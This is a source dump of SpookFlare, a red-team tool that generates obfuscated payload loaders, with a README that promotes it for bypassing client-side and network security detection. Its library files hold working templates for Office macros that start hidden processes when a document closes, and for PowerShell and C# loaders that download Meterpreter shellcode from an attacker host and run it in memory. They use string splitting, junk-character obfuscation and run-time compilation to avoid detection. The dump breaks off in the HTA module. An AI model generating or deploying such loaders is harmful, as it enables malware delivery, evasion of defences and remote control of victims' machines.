├── lib
├── __init__.py
├── sfvba.py
├── sfmpps.py
├── sfmpbin.py
└── sfhta.py
├── output
└── test.spookflare.txt
├── .gitignore
├── requirements.txt
├── README.md
├── LICENSE
└── spookflare.py
/lib/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/output/test.spookflare.txt:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | __pycache__/
2 | *.pyc
3 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | terminaltables
2 |
--------------------------------------------------------------------------------
/lib/sfvba.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | import random
3 | import string
4 | import base64
5 |
6 | def randomString():
7 | return ''.join([random.choice(string.ascii_letters) for n in range(12)])
8 |
9 | def generateKey():
10 | keys = "!#+%&/()=?_-*[]{}$><"
11 | return ''.join(random.sample(keys,len(keys)))
12 |
13 | def generateCmd(vbaKey, vbaCommand):
14 | return vbaKey.join([vbaCommand[i:i+1] for i in range(0, len(vbaCommand), 1)])
15 |
16 | def generateVBALauncher(vbaFileType, vbaCommand, vbaMetaName):
17 |
18 | if vbaFileType == "word":
19 | vbaFileType = "ActiveDocument"
20 | elif vbaFileType == "excel":
21 | vbaFileType = "ActiveWorkbook"
22 | elif vbaFileType == "powerpoint":
23 | vbaFileType = "ActivePresentation"
24 |
25 | if vbaMetaName == "Comments":
26 | vbaMetaName = "C\"&\"o\"&\"m\"&\"m\"&\"e\"&\"n\"&\"t\"&\"s"
27 | elif vbaMetaName == "Company":
28 | vbaMetaName = "C\"&\"o\"&\"m\"&\"p\"&\"a\"&\"n\"&\"y"
29 |
30 | vbaCommandKey = generateKey()
31 | vbaBaseCmd = generateCmd(vbaCommandKey, vbaCommand)
32 | vbaBaseCode = '''Sub Auto_Close()
33 | {0}
34 | End Sub
35 |
36 | Sub AutoClose()
37 | {0}
38 | End Sub
39 |
40 | Public Function {0}() As Variant
41 | Dim {1} As DocumentProperty
42 | For Each {1} In {8}.BuiltInDocumentProperties
43 | If {1}.Name = "{10}" Then
44 | Dim {2} As String
45 | {2} = Replace({1}.Value, "{9}", "")
46 | Const HIDDEN_WINDOW = 0
47 | Set {3} = GetObject("w"&"i"&"n"&"m"&"g"&"m"&"t"&"s"&":"&"\\"&"\\"&"."&"\\"&"r"&"o"&"o"&"t"&"\\"&"c"&"i"&"m"&"v"&"2")
48 | Set {4} = {3}.Get("W"&"i"&"n"&"3"&"2"&"_"&"P"&"r"&"o"&"c"&"e"&"s"&"s"&"S"&"t"&"a"&"r"&"t"&"u"&"p")
49 | Set {5} = {4}.SpawnInstance_
50 | {5}.ShowWindow = HIDDEN_WINDOW
51 | Set {6} = GetObject("w"&"i"&"n"&"m"&"g"&"m"&"t"&"s"&":"&"\\"&"\\"&"."&"\\"&"r"&"o"&"o"&"t"&"\\"&"c"&"i"&"m"&"v"&"2"&":"&"W"&"i"&"n"&"3"&"2"&"_"&"P"&"r"&"o"&"c"&"e"&"s"&"s")
52 | {6}.Create {2}, Null, {5}, {7}
53 | End If
54 | Next
55 | End Function'''
56 |
57 | loaderFinal = "'\n'Insert the following string to \""+vbaMetaName.replace("\"&\"", "")+"\" meta data section of file:\n'" + vbaBaseCmd + "\n'\n\n"
58 | loaderFinal += vbaBaseCode.format(randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), vbaFileType, vbaCommandKey, vbaMetaName)
59 | return loaderFinal
60 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # SpookFlare
2 |
3 |
4 |

5 |
6 | SpookFlare has a different perspective to bypass security measures and it gives you the opportunity to bypass the endpoint countermeasures at the client-side detection and network-side detection. SpookFlare is a loader/dropper generator for Meterpreter, Empire, Koadic etc. SpookFlare has obfuscation, encoding, run-time code compilation and character substitution features. So you can bypass the countermeasures of the target systems like a boss until they "learn" the technique and behavior of SpookFlare payloads.
7 |
8 | * Obfuscation
9 | * Encoding
10 | * Run-time Code Compiling
11 | * Character Substitution
12 | * Patched Meterpreter Stage Support
13 | * Blocked powershell.exe Bypass
14 |
15 | ```
16 | ___ ___ ___ ___ _ _____ _ _ ___ ___
17 | / __| _ \/ _ \ / _ \| |/ / __| | /_\ | _ \ __|
18 | \__ \ _/ (_) | (_) | ' <| _|| |__ / _ \| / _|
19 | |___/_| \___/ \___/|_|\_\_| |____/_/ \_\_|_\___|
20 |
21 | Version : 2.0
22 | Author : Halil Dalabasmaz
23 | WWW : artofpwn.com, spookflare.com
24 | Twitter : @hlldz
25 | Github : @hlldz
26 | Licence : Apache License 2.0
27 | Note : Stay in shadows!
28 |
29 | [*] You can use "help" command for access help section.
30 |
31 | SpookFlare > list
32 |
33 | ID | Payload | Description
34 | ----+------------------------+------------------------------------------------------------
35 | 1 | meterpreter/binary | .EXE Meterpreter Reverse HTTP and HTTPS loader
36 | 2 | meterpreter/powershell | PowerShell based Meterpreter Reverse HTTP and HTTPS loader
37 | 3 | javascript/hta | .HTA loader with .HTML extension for specific command
38 | 4 | vba/macro | Office Macro loader for specific command
39 |
40 | ```
41 |
42 | ## Installation
43 | ```
44 | # git clone https://github.com/hlldz/SpookFlare.git
45 | # cd SpookFlare
46 | # pip install -r requirements.txt
47 | ```
48 |
49 | ## Technical Details
50 | https://artofpwn.com/spookflare.html
51 |
52 | ## Usage Videos and Tutorials
53 | * SpookFlare HTA Loader for Koadic: https://youtu.be/6OyZuyIbRLU
54 | * SpookFlare PowerShell/VBA Loaders for Meterpreter: https://youtu.be/xFBRZz78U_M
55 | * v1.0 Usage Video: https://www.youtube.com/watch?v=p_eKKVoEl0o
56 |
57 | ### Note
58 | I developed the SpookFlare and technique for use in penetration tests, red team engagements and it is purely educational. Please use with responsibility and stay in shadows!
59 |
60 | ### Acknowledgements and References
61 | Special thanks to the following projects and contributors.
62 | * https://github.com/rapid7/metasploit-framework
63 | * https://github.com/zerosum0x0/koadic
64 | * https://github.com/EmpireProject/Empire
65 | * https://github.com/Veil-Framework/Veil
66 | * https://github.com/nccgroup/demiguise
67 |
--------------------------------------------------------------------------------
/lib/sfmpps.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | import random
3 | import string
4 | import base64
5 | from base64 import b64encode
6 |
7 | def randomString():
8 | return ''.join([random.choice(string.ascii_letters) for n in range(12)])
9 |
10 | def checksum8(s):
11 | return sum([ord(ch) for ch in s]) % 0x100
12 |
13 | def genHTTPChecksum():
14 | chk = string.ascii_letters + string.digits
15 | for x in range(64):
16 | uri = "".join(random.sample(chk,3))
17 | r = "".join(sorted(list(string.ascii_letters+string.digits), key=lambda *args: random.random()))
18 | for char in r:
19 | if checksum8(uri + char) == 92:
20 | return uri + char
21 |
22 | def generateMPPSLoader(mpProto, mpLhost, mpLport, mpArch, mpSsize):
23 | if mpArch == "x86":
24 | mpArch = "ToInt32"
25 | mpDef = "UInt32"
26 | elif mpArch == "x64":
27 | mpArch = "ToInt64"
28 | mpDef = "UInt64"
29 |
30 | if mpProto == "https":
31 | mpPSSSLChk = "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}"
32 | else:
33 | mpPSSSLChk = ""
34 |
35 | loaderHost = mpProto+"://"+mpLhost+":"+mpLport+"/"+genHTTPChecksum()
36 | baseMetPs = '''${0} = @"
37 | [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, {8} dwSize, {8} flAllocationType, {8} flProtect);
38 | [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, {8} dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, {8} dwCreationFlags, IntPtr lpThreadId);
39 | [DllImport("kernel32.dll")] public static extern {8} WaitForSingleObject(IntPtr hHandle, {8} dwMilliseconds);
40 | "@;
41 | {10}
42 | ${1} = New-Object "`N`et.`W`ebc`l`i`ent";${1}.Headers.Add("User-Agent", "Mozilla/5.0 (compatible; MSIE 11.0; Trident/7.0; rv:11.0)");${1}.Headers.Add("Accept", "*/*");${1}.Headers.Add("Accept-Language", "en-gb,en;q=0.5");[Byte[]] ${2} = ${1}."D`o`wn`l`oa`d`Data"("{9}");${3} = New-Object byte[] (${2}.Length - {4});[Array]::Copy(${2}, {4}, ${3}, 0, (${2}.Length - {4}));${5} = A`d`d-T`y`p`e -memberDefinition ${0} -Name "Win32" -namespace `W`in`3`2`F`un`ct`i`on`s -passthru;${6}=${5}::VirtualAlloc(0,${3}.Length,0x3000,0x40);[Runtime.InteropServices.Marshal]::Copy(${3}, 0, [IntPtr](${6}.{7}()), ${3}.Length);${5}::CreateThread(0,0,${6},0,0,0) | oUT-NuLl;`S`T`A`R`T-`S`l`e`E`p -s `8`6`4`2`0'''
43 |
44 | loaderFinal = baseMetPs.format(randomString(), randomString(), randomString(), randomString(), mpSsize, randomString(), randomString(), mpArch, mpDef, loaderHost, mpPSSSLChk)
45 | return loaderFinal
46 |
47 | def generateMPPSCsharpLoader(mpPsCode):
48 | mCsharpCode = '''using System;
49 | using System.IO; using System.Diagnostics; using System.Reflection; using System.Runtime.InteropServices; using System.Collections.ObjectModel; using System.Management.Automation; using System.Management.Automation.Runspaces; using System.Text;
50 | public class {0} {{
51 | public static void Main() {{
52 | byte[] {1} = Convert.FromBase64String("{6}");
53 | string {2} = Encoding.UTF8.GetString({1});
54 | Runspace {3} = RunspaceFactory.CreateRunspace();
55 | {3}.Open();
56 | RunspaceInvoke {4} = new RunspaceInvoke({3});
57 | Pipeline {5} = {3}.CreatePipeline();
58 | {5}.Commands.AddScript({2});
59 | {5}.Invoke();
60 | {3}.Close();
61 | return;
62 | }}
63 | }}'''
64 |
65 | loaderFinal = mCsharpCode.format(randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), b64encode(mpPsCode.encode()))
66 | return loaderFinal
67 |
--------------------------------------------------------------------------------
/lib/sfmpbin.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | import random
3 | import string
4 | import base64
5 | from base64 import b64encode
6 |
7 | def randomString():
8 | return ''.join([random.choice(string.ascii_letters) for n in range(12)])
9 |
10 | def checksum8(s):
11 | return sum([ord(ch) for ch in s]) % 0x100
12 |
13 | def genHTTPChecksum():
14 | chk = string.ascii_letters + string.digits
15 | for x in range(64):
16 | uri = "".join(random.sample(chk,3))
17 | r = "".join(sorted(list(string.ascii_letters+string.digits), key=lambda *args: random.random()))
18 | for char in r:
19 | if checksum8(uri + char) == 92:
20 | return uri + char
21 |
22 | def generateMPBinLoader(mpBinProto, mpBinLhost, mpBinLport, mpBinArch, mpBinSsize):
23 |
24 | if mpBinProto == "https":
25 | mpBinSSLChk = "ServicePointManager.ServerCertificateValidationCallback = (sender, cert, chain, sslPolicyErrors) => true;"
26 | else:
27 | mpBinSSLChk = ""
28 |
29 | if mpBinArch == "x86":
30 | mpBinArch = "UInt32"
31 | elif mpBinArch == "x64":
32 | mpBinArch = "UInt64"
33 |
34 | mpBinNSpace = randomString()
35 | mpBinLClass = randomString()
36 | loaderHost = mpBinProto+"://"+mpBinLhost+":"+mpBinLport+"/"+genHTTPChecksum()
37 | loaderBase = '''using System;using System.Net;using System.Runtime.InteropServices; namespace {24} {{ public class {25} {{ [DllImport ("kernel32")] private static extern {23} VirtualAlloc ({23} {0}, {23} {1}, {23} {2}, {23} {3}); [DllImport ("kernel32")] private static extern IntPtr CreateThread ({23} {4}, {23} {5}, {23} {6}, IntPtr {7}, {23} {8}, ref {23} {9}); [DllImport ("kernel32")] private static extern {23} WaitForSingleObject (IntPtr {10}, {23} {11}); [DllImport ("kernel32.dll")] static extern IntPtr GetConsoleWindow (); [DllImport ("user32.dll")] static extern bool ShowWindow (IntPtr {12}, int {13}); public static void Main () {{ShowWindow (GetConsoleWindow (), 0);{14}WebClient {15} = new System.Net.WebClient ();{15}.Headers.Add ("User-Agent", "Mozilla/5.0 (compatible; MSIE 11.0; Trident/7.0; rv:11.0)");{15}.Headers.Add ("Accept", "*/*");{15}.Headers.Add ("Accept-Language", "en-gb,en;q=0.5");byte[] {16} = null;{16} = {15}.DownloadData ("{26}");byte[] {17} = new byte[{16}.Length - {18}];Array.Copy ({16}, {18}, {17}, 0, {17}.Length);{23} {19} = VirtualAlloc (0, ({23}) {17}.Length, 0x1000, 0x40);Marshal.Copy ({17}, 0, (IntPtr) ({19}), {17}.Length);IntPtr {20} = IntPtr.Zero;{23} {21} = 0;IntPtr {22} = IntPtr.Zero;{20} = CreateThread (0, 0, {19}, {22}, 0, ref {21});WaitForSingleObject ({20}, 0xFFFFFFFF);}}}}}}'''.format(randomString(), randomString(), randomString(), randomString(),randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), mpBinSSLChk, randomString(), randomString(), randomString(), mpBinSsize, randomString(), randomString(), randomString(), randomString(), mpBinArch, mpBinNSpace, mpBinLClass, loaderHost)
38 | loaderKey = (''.join(random.sample("hlldzé!^+%&/()=?_<>£#$[]|",len("hlldzé!^+%&/()=?_<>£#$[]|")))[0:3])
39 | loaderCode = loaderKey.join([loaderBase[i:i+1] for i in range(0, len(loaderBase), 1)]).replace("\"", "\\\"")
40 | loaderFinal = '''using System;using System.CodeDom.Compiler;using System.Reflection;using Microsoft.CSharp;namespace {0} {{public class {1} {{public static void Main () {{string {2} = "{3}".Replace("{4}", "");CSharpCodeProvider {5} = new CSharpCodeProvider ();CompilerParameters {6} = new CompilerParameters (new [] {{"mscorlib.dll", "System.dll"}});{6}.GenerateInMemory = true;{6}.ReferencedAssemblies.Add (Assembly.GetEntryAssembly ().Location);CompilerResults {7} = {5}.CompileAssemblyFromSource ({6}, {2});Assembly {8} = {7}.CompiledAssembly;Type {9} = {8}.GetType ("{10}.{11}");MethodInfo {12} = {9}.GetMethod ("Main");{12}.Invoke (null, null);}}}}}}'''.format(randomString(), randomString(), randomString(), loaderCode, loaderKey, randomString(), randomString(), randomString(), randomString(), randomString(), mpBinNSpace, mpBinLClass, randomString())
41 | return loaderFinal
42 |
--------------------------------------------------------------------------------
/lib/sfhta.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | import random
3 | import string
4 | import base64
5 |
6 | def randomString():
7 | return ''.join([random.choice(string.ascii_letters) for n in range(12)])
8 |
9 | def generateKey():
10 | keys = "!#+%&/()=?_-*[]$><"
11 | return ''.join(random.sample(keys,len(keys)))
12 |
13 | def generateBase(htaCommand, htaFileName):
14 | htaKey = generateKey()
15 | if "\"" in htaCommand:
16 | htaPayload = htaKey.join([htaCommand[i:i+1] for i in range(0, len(htaCommand), 1)]).replace("\"", "\"\"")
17 | else:
18 | htaPayload = htaKey.join([htaCommand[i:i+1] for i in range(0, len(htaCommand), 1)])
19 |
20 | baseHta = ''''''
33 |
34 | launcherBase = '''